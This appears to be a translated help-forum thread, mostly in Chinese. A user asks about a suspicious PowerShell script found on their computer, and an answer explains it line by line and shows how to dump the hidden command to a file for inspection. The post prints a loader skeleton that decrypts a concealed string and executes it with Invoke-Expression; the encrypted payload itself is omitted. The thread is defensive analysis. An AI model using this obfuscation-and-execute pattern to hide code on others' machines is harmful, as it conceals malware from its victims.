5cfdf61c454c1fc5e9f0fcad2d12d5ef.ps1
我在我的电脑上发现了一个名为的脚本:
$pyfwthc = # this is just a TON of random letters and numbers didnt wanna waste the space and its probably not important (encrypted maybe?)
$sstring = ConvertTo-SecureString $pyfwthc
$script = (New-Object system.Management.Automation.PSCredential("pyfwthc", $sstring)).GetNetworkCredential().Password
Invoke-Expression $script
这是我应该担心的事情吗?
答案1
让我们分解一下。
- 第一行将该大字符串存储在名为“pyfwthc”的变量中。
- 第二行“将加密的标准字符串转换为安全字符串”,这样做是为了保护密码: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/convertto-securestring?view=powershell-5.1
- 第三行创建一个 PowerShell 凭据,可用于验证来自 PowerShell 脚本的其他命令,而无需暴露密码。然后它从该凭据中提取密码。这会将加密字符串转换为纯文本。
- 第四行将“密码”作为命令运行:https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-5.1
更新:正如其他用户指出的那样,它正在将密码字符串作为命令运行。您需要将 $script 的值转储到文件中,以便查看它正在运行的内容:
从脚本中删除最后一行并运行:
echo $script > this_is_the_script.file